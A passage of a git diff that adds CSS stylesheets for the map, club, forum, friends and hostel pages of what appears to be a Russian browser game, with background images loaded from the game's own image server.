margin:0; + width:150px; + text-align:center; + background:#0CF; + position:relative; +} +#menu li ul{ + list-style:none; + padding:0; + margin:0; + width:150px; + position:absolute; + left:0; + top:20px; + display:none; +} +#menu li ul li{ + float:none; + height:20px; + margin:0; + width:150px; + text-align:center; + background:#0CF; +} +#menu li a{ + display:block; + width:150px; + height:20px; +} +#menu li:hover ul{ + display:block; +} +#menu li:hover{ + background:#F00; +} + +alt2{ margin: 0px; padding: 6px; border: 1px inset;} +smallfont{margin-bottom:2px;} +spoil{margin:10px; margin-top:5px;} + +.b1 { + background: navy; + color: white; + font-size: 9pt; + } + +.img \ No newline at end of file diff --git a/css/fightclub.css b/css/fightclub.css new file mode 100644 index 0000000..282cfcb --- /dev/null +++ b/css/fightclub.css @@ -0,0 +1,250 @@ +#ione{ + position:relative; + cursor:pointer; + height:240px; + width:500px; +} +.navig{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/club/navig.jpg') no-repeat left top; +} +.navig1{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/club/navig1.jpg') no-repeat left top; +} +.navig2{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/club/navig.jpg') no-repeat left top; +} +.navig3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/club/navig3.jpg') no-repeat left top; +} +.fl1{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/fl1.gif') no-repeat center; + position:absolute; + width:16px; + height:16px; + z-index:90; +} +.map_bk{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_bk.gif') no-repeat center; + position:absolute; + width:120px; + height:35px; + z-index:90; + left:184px; + top:94px; +} +.map_halls{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_halls.gif') no-repeat center; + position:absolute; + width:120px; + height:35px; + z-index:90; + left:354px; + top:115px; +} +.map_demon2{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_demon2.gif') no-repeat center; + position:absolute; + width:107px; + height:15px; + z-index:90; + left:329px; + top:111px; +} +.map_2stair{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_2stair.gif') no-repeat center; + position:absolute; + width:120px; + height:35px; + z-index:90; + left:23px; + top:116px; +} +.map_klub1{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub1.gif') no-repeat center; + position:absolute; + width:56px; + height:13px; + z-index:90; + left:66px; + top:114px; +} +.map_klub2{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub2.gif') no-repeat center; + position:absolute; + width:58px; + height:49px; + z-index:90; + left:216px; + top:41px; +} +.map_klub3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub3.gif') no-repeat center; + position:absolute; + width:123px; + height:31px; + z-index:90; + left:312px; + top:168px; +} +.map_klub4{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub4.gif') no-repeat center; + position:absolute; + width:123px; + height:31px; + z-index:90; + left:59px; + top:169px; +} +.map_klub5{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub5.gif') no-repeat center; + position:absolute; + width:123px; + height:30px; + z-index:90; + left:312px; + top:48px; +} +.map_klub6{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub6.gif') no-repeat center; + position:absolute; + width:123px; + height:30px; + z-index:90; + left:52px; + top:47px; +} +.map_klub7{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_klub7.gif') no-repeat center; + position:absolute; + width:103px; + height:47px; + z-index:90; + left:196px; + top:148px; +} +.map_zal2{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zal2.gif') no-repeat center; + position:absolute; + width:175px; + height:37px; + z-index:90; + left:264px; + top:106px; +} +.map_zal3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zal3.gif') no-repeat center; + position:absolute; + width:135px; + height:29px; + z-index:90; + left:47px; + top:120px; +} +.map_zal3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zal3.gif') no-repeat center; + position:absolute; + width:135px; + height:29px; + z-index:90; + left:47px; + top:120px; +} +.map_zalu3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zalu3.gif') no-repeat center; + position:absolute; + width:79px; + height:32px; + z-index:90; + left:17px; + top:122px; +} +.map_zalu4{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zalu4.gif') no-repeat center; + position:absolute; + width:122px; + height:31px; + z-index:90; + left:52px; + top:47px; +} +.map_zalu6{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zalu6.gif') no-repeat center; + position:absolute; + width:76px; + height:18px; + z-index:90; + left:78px; + top:24px; +} +.map_zalu7{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_zalu7.gif') no-repeat center; + position:absolute; + width:100px; + height:35px; + z-index:90; + left:393px; + top:170px; +} +.map_sec1{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec1.gif') no-repeat center; + position:absolute; + width:91px; + height:43px; + z-index:90; + left:24px; + top:180px; +} +.map_sec2{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec2.gif') no-repeat center; + position:absolute; + width:63px; + height:40px; + z-index:90; + left:36px; + top:41px; +} +.map_sec3{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec3.gif') no-repeat center; + position:absolute; + width:101px; + height:37px; + z-index:90; + left:119px; + top:175px; +} +.map_sec4{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec4.gif') no-repeat center; + position:absolute; + width:89px; + height:32px; + z-index:90; + left:391px; + top:120px; +} +.map_sec5{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec5.gif') no-repeat center; + position:absolute; + width:122px; + height:31px; + z-index:90; + left:281px; + top:173px; +} +.map_sec6{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec6.gif') no-repeat center; + position:absolute; + width:123px; + height:30px; + z-index:90; + left:305px; + top:51px; +} +.map_sec7{ + background:url('http://img.new.capitalcity.old-dark.ru/i/images/300x225/map_sec7.gif') no-repeat center; + position:absolute; + width:123px; + height:39px; + z-index:90; + left:122px; + top:52px; +} \ No newline at end of file diff --git a/css/forum.css b/css/forum.css new file mode 100644 index 0000000..4bd2d29 --- /dev/null +++ b/css/forum.css @@ -0,0 +1,164 @@ +body { + font-family: Verdana, Helvetica, Arial, Tahoma, sans-serif; + font-size: 10pt; + background: #000000; + margin: 5px; + color: #000000; +} + +.inup { + background-color: #ded7bd; + font-size: 8pt; + border: 1px double #302f2a; +} + +.text { + font-weight: normal +} + +h3 { + text-align: center; + color: #8f0000; + font-size: 12pt; + font-weight: bold +} + +h4 { + margin-bottom: 5px; + color: #8f0000; + font-size: 11pt; + font-weight: bold +} + +a:link, a:visited, a:active { + color: #524936; + font-weight: normal; + text-decoration: none +} + +a:hover { + color: #68727b; + text-decoration: underline +} + +.dsc { + color: #606060; + font-weight: normal +} + +select, textarea, input { + margin-top: 1px; + margin-bottom: 2px; + color: #191970; + font-size: 10px; + border: 1pt solid #b0b0b0; +} + +.pagenum a:link, .pagenum a:visited, .pagenum a:active, .pagenum a:hover { + margin: 0; + width: 1em; + padding: 0 3px 0; +} + +.pagenum a:hover { + background-color: white; +} + +.pleft { + margin: 0; + padding: 3px 0 7px 20px; +} + +.pages { + background-color: #ffefbf +} + +img { + border-width: 0; +} + +table { + border-width: 0; +} + +.btn { + background-color: #2b2b18; + color: #dfddd3; + font-size: 7.5pt; + border: 1px double #817a63; +} + +.style6 { + color: #dfd3a3; + font-size: 9px +} + + +a:visited { + color: #633525; + font-weight: bold; + text-decoration: none +} + +a:active { + color: #77684d; + font-weight: bold; + text-decoration: none +} + +a:hover { + color: #000000; + text-decoration: underline +} + +div.left { + text-align: left; +} + +div.right { + text-align: right; +} + +div.center { + text-align: center; +} +.style6 { + color: #DFD3A3; + font-size: 9px; +} + +a:link { + font-weight: bold; + color: #5b3e33; + text-decoration: none; +} + +a:hover { + color: #000000; + text-decoration: underline; +} + +a.cite { + display: none +} + +.date { + float: right; + color: #007000; + font-size: 8pt; + margin: 0; + padding: 0; + font-weight: normal; + text-shadow: #b0b0b0 1px 1px 1px; + text-decoration: none; +} + +blockquote, .mBodyBlock .quote { + margin: 5px; + padding: 5px; + font-size: 12px; + font-style: italic; + color: #777; + border: 1px dashed #ccc; + background-color: #F2F0D6; +} diff --git a/css/friend/design3.css b/css/friend/design3.css new file mode 100644 index 0000000..3411cf4 --- /dev/null +++ b/css/friend/design3.css @@ -0,0 +1,99 @@ +body { + margin: 0px 1px 0px 1px; + padding: 0px 1px 0px 1px; + background-color: #dedede; + color: #000000; +} + +.main_text { + font-weight: bold; + font-size: 10px; + text-decoration: none; + color:#f0f0f0; + cursor:hand; +} + +.menutop, a.menutop:visited, a.menutop:active { + font-weight: bold; + font-size: 10px; + text-decoration: none; + color: #3B3936; +} + +a.menutop:hover { + color: #76726b; +} + +.name { + font-weight: bold; + font-size: 12px; +} + +.parametr_title { + font-weight: bold; + font-size: 11px; + color: #777773; +} + +.prname { + padding-left: 4px; + font-size: 11px; + font-family: Arial, Helvetica, sans-serif; +} + +.prvalue { + font-size: 11px; + font-family: Arial, Helvetica, sans-serif; +} + +.btn { + border: 1px double #9a9996; + font-size: 12px; + color: #dfdfdf; + background-color:#504F4C; +} + +.mainmenu { + color: #23292C; + border-top-width: 1px; + border-right-width: 1px; + border-bottom-width: 1px; + border-left-width: 1px; + border-top-style: solid; + border-right-style: none; + border-bottom-style: solid; + border-left-style: solid; + border-top-color: #969697; + border-right-color: #969697; + border-bottom-color: #000000; + border-left-color: #969697; + background-color: #BABABB; + cursor:hand; +} + +.maptext { + font-weight: bold; + font-size: 12px; + color: #000000; + font-family: Arial, Helvetica, sans-serif; +} +.posit { + border-top-width: 1px; + border-right-width: 1px; + border-bottom-width: 1px; + border-left-width: 1px; + border-top-style: solid; + border-right-style: solid; + border-bottom-style: solid; + border-left-style: solid; + border-top-color: #FFFFFF; + border-right-color: #666666; + border-bottom-color: #666666; + border-left-color: #FFFFFF; + padding: 2px; +} + +td { + font-size: 10pt; + font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} \ No newline at end of file diff --git a/css/friend/main.css b/css/friend/main.css new file mode 100644 index 0000000..8c12988 --- /dev/null +++ b/css/friend/main.css @@ -0,0 +1,40 @@ +body, td, ol, ul, li , p { + FONT-SIZE: 10pt; + FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} +.text { + FONT-SIZE: 10pt; COLOR: #000000; FONT-WEIGHT: normal; + FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} +H3 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-ALIGN: center } +H4 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 5px;} +H5 { COLOR: #4f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px;} +a,a:visited { text-decoration: none; FONT-WEIGHT: bold; color: #003388; } +a:active { color: #6F0000} +a:hover { color: #0066FF} +.date { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000} +.date2 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA} +.sysdate { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #B00000} +.private { font-weight:bold; color: red; background-color: #FAE0E0} +.number { font-size: 11pt; font-weight: bold; color: #6F0000} +.dsc { color: #606060; font-weight:normal; } +select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 10px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;} + +.ahint {font-family: MS Sans Serif; font-size:8px; text-decoration:none; color:#000080;z-index: 99;} +#hint2 {position:absolute; width:140; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden} +#hint3 {position:absolute; width:240; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden} +#hint4 {position:absolute; width:240; visibility:hidden} + +.B1 { font-weight: bold; color: #6666CC} +.B2 { font-weight: bold; color: #B06A00} +.B3 { font-weight: bold; color: #269088} +.B4 { font-weight: bold; color: #A0AF20} +.B5 { font-weight: bold; color: #0F79D3} +.B6 { font-weight: bold; color: #D85E23} +.B7 { font-weight: bold; color: #5C832F} +.B8 { font-weight: bold; color: #842B61} +.B9 { font-weight: bold; color: navy} +.Bs1 { font-size: 8pt; font-weight:bold; color: #6666CC} +.Bs2 { font-weight:bold; color: #B06A00} +img,table {border:0} + diff --git a/css/hostel.css b/css/hostel.css new file mode 100644 index 0000000..f10454e --- /dev/null +++ b/css/hostel.css @@ -0,0 +1,243 @@ +body { + margin: 0px; + padding: 0px; + background-color: #dedede; + font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif; + font-size: 13px; + color: black; +} + +* html div.contentContainer { + left: 50%; + margin-left: -400px; +} + +h2 { + font-size: 13px; + margin-bottom: 0px; + color: #8f0000; + font-family: verdana; + text-align: center; + padding: 0px; + margin: 0px; +} + +caption, tbody, tfoot, thead, tr, th, td{ + border: inherit; +} + +table { + border-collapse: collapse; + border-spacing: 0; +} + +h1 { + font-weight: bold; + font-size: 19px; + color: #8f0000; + font-family: arial; + text-align: center; + padding: 0px; + margin: 0px; +} + +.hs { + font-weight: bold; + font-size: 19px; + color: #8f0000; + font-family: arial; + text-align: center; +} + +div.contentContainer { + margin-left: auto; + margin-right: auto; + width: 800px; + height: auto; + position: relative; +} + +div.buttonContainer { + position: relative; + right: 0px; + top: 1px; + text-align: center; + overflow: hidden; + padding: 2px; + zoom: 1; +} + +div.buttonContainer input.btns { + float: right; + margin-right: 15px; +} + +.progressBar { + margin-bottom: 3px; +} + +tt { + font-family: monospace; +} + +table#hstInventory td.even { + background-color: #d5d5d5; +} + +img { + border: none; + line-height: 1px; + vertical-align: bottom; +} + +.btns { + border: solid 1px #b0b0b0; + margin-top: 1px; + margin-bottom: 2px; + font-size: 11px; + color: #191970; +} + +legend { + font-weight: bold; + color: #8F0000; +} + +div.buttonContainer input.button-route-notArrived { + color: gray; +} + +fieldset { + border: 2px groove threedface; + display:block; + margin-left:2px; + margin-right:2px; + padding: 4px 4px; +} + +div#hostelLeft, div#hostelRight { + margin:0; + float:left; + overflow:hidden; +} + +div#hostelLeft { + width: 520px; +} + +div#hostelRight { + width: 280px; +} + +fieldset.hostelClientState { + height: 150px; +} + +fieldset.hostelRules { + h-eight: 176px; +} + +div.autoScrolling { + height: 100%; + overflow: auto; +} + +select { + width: 200px; +} + +.tarifsList, .periods { + border-collapse: collapse; + border: 1px solid #666; + width: 100%; +} + +.periods { + width: 90%; +} + +.tarifsList caption { + font-weight: bold; + font-size: 12px; + font-family: verdana,arial,tahoma; + text-align: left; +} + +.tarifsList td, .periods th, .periods td { + border: 1px solid #666; + padding: 3px; + font-family: verdana,arial,tahoma; +} + +.tarifsList tr:hover, .periods tr.value td:hover { + background-color: #eee; +} + +.tarifListLabel { + text-align: left; + font-size: 11px; +} + +.tarifListValue, .periods tr.value td { + text-align: right; + width: 70px; + font-weight:500 ; +} + +.periods tr.value td { + cursor: pointer; +} + +.periods tr.caption td { + text-align: center; + font-size: 11px; +} + +.periods th { + font-size: 11px; +} + +.progressBar { + margin-bottom: 3px; +} +a { + text-decoration: none; + font-weight: bold; + color: #003388; + text-decoration: none; +} + +table#hstInventory td.item { + width: 300px; +} + +table#hstInventory td.links { + text-align:center; + vertical-align:middle; + width:90px; +} + +table#hstInventory td.links span { + display: block; +} + +table#hstInventory td.original span.pk-current { + display:none; +} + +table#hstInventory td.moved { + font-weight: bold; +} + +table#hstInventory td.odd { + background-color: #c7c7c7; +} + +table#hstInventory td.even { + background-color: #d5d5d5; +} + +label { + font-weight: bold; + margin-right:15px; +} \ No newline at end of file diff --git a/css/main.css b/css/main.css new file mode 100644 index 0000000..038d0cb --- /dev/null +++ b/css/main.css @@ -0,0 +1,1010 @@ +BODY { + FONT-SIZE: 10pt; + FONT-FAMILY: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; + background: #D7D7D7; +} + +.text { + FONT-WEIGHT: normal; + COLOR: #000000; +} + +H1,H2,H3,H4,H5,H6 { + FONT-WEIGHT: bold; + COLOR: #8f0000; +} + +H3 { +TEXT-ALIGN: center +} + +A, A:visited { + FONT-WEIGHT: bold; + COLOR: #003388; + TEXT-DECORATION: none +} + +A:active { + COLOR: #6f0000 +} + +A:hover { + COLOR: #0066ff +} + +.date, .date2, .sysdate { + FONT-WEIGHT: normal; + FONT-SIZE: 8pt; + COLOR: #007000; + FONT-FAMILY: Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, serif; + TEXT-DECORATION: none +} + +.date2 { + BACKGROUND-COLOR: #00ffaa; +} + +.sysdate { + COLOR: #b00000; +} + +.private, A.private, A.private:hover, A.private:visited, A.private:active{ + FONT-WEIGHT: bold; + COLOR: red; + BACKGROUND-COLOR: #fae0e0 +} + +.number { + FONT-WEIGHT: bold; + FONT-SIZE: 11pt; + COLOR: #6f0000 +} + +.dsc { + FONT-WEIGHT: normal; + COLOR: #606060 +} + +SELECT, TEXTAREA, INPUT { + MARGIN-TOP: 1px; + MARGIN-BOTTOM: 2px; + COLOR: #191970; + border: 1pt solid #b0b0b0; +} + +.ahint { + FONT-SIZE: 8px; + COLOR: #000080; + TEXT-DECORATION: none +} + +#hint3 { + VISIBILITY: hidden; + WIDTH: 240px; + POSITION: absolute; + BACKGROUND: #fff6dd; +} + +.B1 { + FONT-WEIGHT: bold; + COLOR: #6666cc +} + +.B2 { + FONT-WEIGHT: bold; + COLOR: #b06a00 +} + +.B { + FONT-WEIGHT: bold; +} + +IMG { + border-width: 0; +} + +TABLE { + border-width: 0; +} + +.thumbnail_my span { /*CSS for enlarged image*/ + position: absolute; + background-color: #3d3d3d; + padding: 5px; + left: -1000px; + width: 300px; + border: 1px solid white; + visibility: hidden; + color: Yellow; + text-decoration: none; + border-radius: 4px 4px 4px 4px; + -moz-border-radius: 4px 4px 4px 4px; + -webkit-border-radius: 4px 4px 4px 4px; +} + +.thumbnail_my span img { /*CSS for enlarged image*/ + border-width: 0; + padding: 2px; +} + +.thumbnail_my:hover span { /*CSS for enlarged image on hover*/ + visibility: visible; + top: 0; + left: 60px; /*position where enlarged image should offset horizontally */ +} + +.thumbnail_my2 span { /*CSS for enlarged image*/ + position: absolute; + background-color: #3d3d3d; + padding: 5px; + right: 0; + width: 150px; + border: 1px solid white; + visibility: hidden; + color: Yellow; + text-decoration: none; + border-radius: 4px 4px 4px 4px; + -moz-border-radius: 4px 4px 4px 4px; + -webkit-border-radius: 4px 4px 4px 4px; +} + +.thumbnail_my2 span img { /*CSS for enlarged image*/ + border-width: 0; + padding: 2px; +} + +.thumbnail_my2:hover span { /*CSS for enlarged image on hover*/ + visibility: visible; + top: 60px; + right: 100px; /*position where enlarged image should offset horizontally */ +} + +div.effectList { + font-size: smaller; + text-align: left; +} + +div.effectList > div { + clear: both; + padding: 5px; + border-radius: 5px; + position: relative; +} + +div.effectList > div:hover { + background-color: #d2d2d2; + -webkit-box-shadow: 0 0 5px 0 #d2d2d2; + box-shadow: 0 0 5px 0 #d2d2d2; +} + +div.effectList > div > .cancel { + position: absolute; + right: 3px; + top: 3px; +} + +div.effectList > div > .image { + float: left; + margin-right: 3px; +} + +div.effectList > div > .title { + font-weight: bold; +} + +div.effectList > div > [action] { + cursor: pointer; +} + +#mini_qsst { + z-index: 100; +} + +#page-wrapper { + font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; + padding: 10px; +} + +#page-wrapper .hr_n { + background-image: url("/i/world_map2/hr_line.jpg"); + height: 5px; +} + +#page-wrapper a { + text-decoration: none; + color: #003289; +} + +#page-wrapper .text-hint { + width: 90%; + margin: 40px auto 0; + color: #535252; + font-weight: bold; +} + +#page-wrapper .left-text .nickname-wrapper { + text-align: left; + font-size: 10pt; + font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif; +} + +#page-wrapper .table-list { + width: 90%; + position: relative; +} + +#page-wrapper .table-list tr.title-row td { + text-align: center; + font-weight: bold; + font-size: 11px; + color: #6d6d6d; + padding: 5px; +} + +#page-wrapper.map-wrapper .btn-control .left-text { + position: absolute; +} + +#page-wrapper .table-list tr.head-line { + position: relative; + text-align: center; + background-image: url("/i/other/head_bgx.jpg"); + padding: 0; +} + +#page-wrapper .table-list th a, #page-wrapper .table-list th .head-title span { + display: inline-block; + margin-top: 8px; + padding: 2px 15px; + font-size: 10px; + font-weight: bold; + color: #535252; + text-transform: uppercase; + text-decoration: none; +} + +#page-wrapper .table-list th a.active, #page-wrapper .table-list th a:hover, #page-wrapper .table-list th .head-title span.active { + color: #b12321; +} + +#page-wrapper .table-list th .head-left, #page-wrapper th .head-right { + width: 19px; + height: 30px; + background-repeat: no-repeat; +} + +#page-wrapper .table-list th .head-title { + background-image: url("/i/other/head_category_name_bg.jpg"); + width: 174px; + height: 30px; + position: absolute; + left: 50%; + margin-left: -87px; +} + +#page-wrapper .table-list th .head-left { + background-image: url("/i/other/head_left.jpg"); + float: left; +} + +#page-wrapper .table-list th .head-right { + background-image: url("/i/other/head_right.jpg"); + float: right; +} + +#page-wrapper .table-list th, #page-wrapper .table-list td { + font-size: 11pt; + position: relative; +} + +#page-wrapper .table-list .item-row td { + padding: 5px 0; + min-height: 24px; + vertical-align: middle; +} + +#page-wrapper .table-list .row-center em { + font-size: 13px; + padding-right: 30px; + padding-left: 10px; + display: block; +} + +#page-wrapper .table-list .row-left .separate, #page-wrapper .table-list .row-center .separate, #page-wrapper .table-list .row-right .separate { + height: 1px; + clear: both; + background-color: white; +} + +#page-wrapper .table-list .row-left .separate { + position: absolute; + left: 15px; + right: 8px; + bottom: 0; +} + +#page-wrapper .table-list .row-center .separate { + position: absolute; + left: 8px; + right: 8px; + bottom: 0; +} + +#page-wrapper .table-list .row-right .separate { + position: absolute; + left: 8px; + right: 15px; + bottom: 0; +} + +#page-wrapper .table-list > tbody > tr > td.row-left { + background: url("/i/other/main_bgy_left.jpg") repeat-y; +} + +#page-wrapper .table-list > tbody > tr > td.row-center { + background-color: #f5f4f4; +} + +#page-wrapper .table-list > tbody > tr > td.row-right { + background: url("/i/other/main_bgy_right.jpg") repeat-y; +} + +#page-wrapper .obraz-list .row-left { + background: url("/i/other/main_bgy_left.jpg") repeat-y; +} + +#page-wrapper .obraz-list .row-center { + background-color: #e8e6e7; +} + +#page-wrapper .obraz-list .row-right { + background: url("/i/other/main_bgy_right.jpg") repeat-y; +} + +#page-wrapper .table-list > tbody > tr > td.row-right .row-location { + color: #535252; + font-size: 12px; + font-weight: bold; + width: 280px; + margin-left: 6px; + text-align: center; +} + +#page-wrapper .table-list > tbody > tr > td.row-right .row-location.empty { + font-style: italic; + font-weight: normal; + font-size: 11px; +} + +#page-wrapper .table-list > tfoot > tr { + height: 12px; +} + +#page-wrapper .table-list > tfoot > tr > td .footer-left, #page-wrapper .table-list > tfoot > tr > td .footer-center, #page-wrapper .table-list > tfoot > tr > td .footer-right { + height: 12px; + position: absolute; + left: 0; + right: 0; + bottom: 0; +} + +#page-wrapper .table-list .footer-frendlist .footer-left { + background-image: url("/i/other/down_left.png"); + z-index: 1; +} + +#page-wrapper .table-list .footer-frendlist .footer-center { + background-image: url("/i/other/down_center_bgx.jpg"); + left: -4px; + right: -4px; + z-index: 0; +} + +#page-wrapper .table-list .footer-frendlist .footer-right { + background-image: url("/i/other/down_right.png"); + z-index: 1; +} + +#page-wrapper .table-list .obraz-footer .footer-left { + background: url("/i/other/down_left.jpg") no-repeat; +} + +#page-wrapper .table-list .obraz-footer .footer-right { + background: url("/i/other/down_right.jpg") no-repeat right; +} + +#page-wrapper .table-list#frendlist tr:last-child td { + padding-bottom: 20px; +} + +#page-wrapper .table-list .icon.private { + margin-left: 22px; + margin-right: 5px; +} + +#page-wrapper .table-list .icon.remove { + position: absolute; + right: 22px; + top: 50%; + margin-top: -8px; +} + +#page-wrapper .table-list .icon.edit { + top: 50%; + position: absolute; + right: 0; + margin-top: -8px; +} + +#page-wrapper .table-form { + width: 88%; +} + +#page-wrapper .table-form td.form-input { + background-image: url("/i/other/form_bgx.jpg"); + height: 35px; +} + +#page-wrapper .table-form td.form-input input[type="text"] { + color: #535252; + padding: 0 10px; + width: 100%; + border: 0; + background-color: transparent; + display: inline-block; + vertical-align: top; + height: 19px; +} + +#page-wrapper .table-form .button-big.submit { + padding-top: 5px; + line-height: 10px; +} + +#page-wrapper .table-form td.form-input input[type="text"]:focus { + outline: 0; +} + +#page-wrapper .table-form td.form-left, #page-wrapper .table-form td.form-right { + width: 10px; + height: 35px; +} + +#page-wrapper .table-form td.form-left { + background-image: url("/i/other/form_left.jpg"); +} + +#page-wrapper .table-form td.form-right { + background-image: url("/i/other/form_right.jpg"); +} + +#page-wrapper .btn-control { + width: 100%; + text-align: right; + height: 25px; + clear: both; + min-width: 685px; +} + +#page-wrapper .btn-control .left-text { + float: left; +} + +#page-wrapper .btn-control .left-text .text-title, #page-wrapper .btn-control .left-text .hint-text { + display: inline-block; + vertical-align: top; +} + +#page-wrapper .btn-control .left-text .text-title { + text-transform: uppercase; + font-size: 14px; + font-weight: bold; + color: #b12321; + padding-top: 2px; +} + +#page-wrapper .btn-control .left-text .hint-text { + color: #9e9c9d; + font-size: 13px; + padding-top: 1px; +} + +#page-wrapper .btn-control .btn { + display: inline-block; +} + +#page-wrapper .button-big { + padding-top: 4px; + cursor: pointer; + width: 180px; + height: 15px; + font-size: 10px; + background: url("/i/other/button_cp_exit_sprite.jpg") 0 -19px; +} + +#page-wrapper .button-big.submit { + cursor: pointer; + width: 180px; + height: 16px; + font-size: 12px; + font-weight: bold; + padding-top: 3px; +} + +#page-wrapper .button-big:hover { + background: url("/i/other/button_cp_exit_sprite.jpg") 0 -38px; +} + +#page-wrapper .button-big:active { + background: url("/i/other/button_cp_exit_sprite.jpg") 0 0; +} + +#page-wrapper .text-head { + font-weight: bold; + font-size: 12pt; + color: #8F0000; + font-family: Arial; + text-align: center; +} + +#page-wrapper .button-mid { + padding-top: 4px; + cursor: pointer; + width: 75px; + height: 15px; + font-size: 10px; + background: url("/i/other/button_mid_Sprite.jpg") no-repeat 0 -19px; +} + +#page-wrapper .button-mid:hover { + background: url("/i/other/button_mid_Sprite.jpg") 0 -38px; +} + +#page-wrapper .button-mid:active { + background: url("/i/other/button_mid_Sprite.jpg") 0 0; +} + +#page-wrapper .button-dark-mid { + padding-top: 4px; + cursor: pointer; + width: 75px; + height: 15px; + font-size: 10px; + background: url("/i/other/darkButton_mid_Sprite.jpg") no-repeat 0 -19px; +} + +#page-wrapper .button-dark-mid:hover { + background: url("/i/other/darkButton_mid_Sprite.jpg") 0 -38px; +} + +#page-wrapper .button-dark-mid:active { + background: url("/i/other/darkButton_mid_Sprite.jpg") 0 0; +} + +#page-wrapper .obraz-items li { + display: inline-block; + background: url("/i/other/obraz_frame_bg.jpg") no-repeat 15px 0; + width: 120px; + height: 250px; + position: relative; + margin-bottom: 20px; +} + +#page-wrapper .obraz-items li.obraz-item .btn { + position: absolute; + bottom: 0; + left: 23px; +} + +#page-wrapper .table-list.pic-items td.separate { + background: url("/i/other/hr_2.jpg") repeat-x; + height: 2px; +} + +#page-wrapper .table-list.pic-items > tbody > tr > td.odd { + background-color: #e8e6e6; +} + +#page-wrapper .table-list.pic-items > tbody > tr > td.even { + background-color: #eeecec; +} + +#page-wrapper .table-list.pic-items > tbody > tr > td.row-left { + background: url("/i/other/main_bgy_left.jpg") repeat-y; +} + +#page-wrapper .table-list.pic-items > tbody > tr > td.row-center { + background-color: #f5f4f4; +} + +#page-wrapper .table-list.pic-items > tbody > tr > td.row-right { + background: url("/i/other/main_bgy_right.jpg") repeat-y; +} + +#page-wrapper .table-list.pic-items .item-block { + position: relative; + width: 100%; + text-align: center; + padding-top: 10px; + padding-bottom: 40px; +} + +#page-wrapper .table-list.pic-items .item-block .item-footer { + position: absolute; + bottom: 10px; + left: 50%; + margin-left: -37px; +} + +#page-wrapper .table-list.sostoyanie .separate { + height: 2px; + background: transparent url("/i/other/hr_2.jpg"); +} + +#page-wrapper .table-list.sostoyanie[data-hidden="true"] tr td { + text-align: center; + display: none; +} + +#page-wrapper .table-list.sostoyanie tr.element td { + padding: 10px; + font-size: 11px; +} + +#page-wrapper .table-list.sostoyanie > tbody > tr > td.row-left { + background: url("/i/other/main_bgy_left.jpg") repeat-y; + color: #383838; + text-align: center; + font-weight: bold; +} + +#page-wrapper .table-list.sostoyanie > tbody > tr > td.row-center { + background-color: #f5f4f4; +} + +#page-wrapper .table-list.sostoyanie > tbody > tr > td.row-right { + background: url("/i/other/main_bgy_right.jpg") repeat-y; +} + +#page-wrapper .map-block { + display: table; + table-layout: fixed; + width: 100%; + height: 59px; + min-width: 309px; + border-spacing: 0; +} + +#page-wrapper .map td { + padding-right: 3px; + padding-bottom: 3px; +} + +#page-wrapper .map td:last-child { + padding-right: 0; +} + +#page-wrapper .map-block .map-block-logo { + width: 65px; + *height: 59px; + display: table-cell; + border-spacing: 0; +} + +#page-wrapper .map-block .map-block-mid { + *height: 59px; + display: table-cell; + border-spacing: 0 +} + +#page-wrapper .map-block .map-block-right { + width: 8px; + *height: 59px; + display: 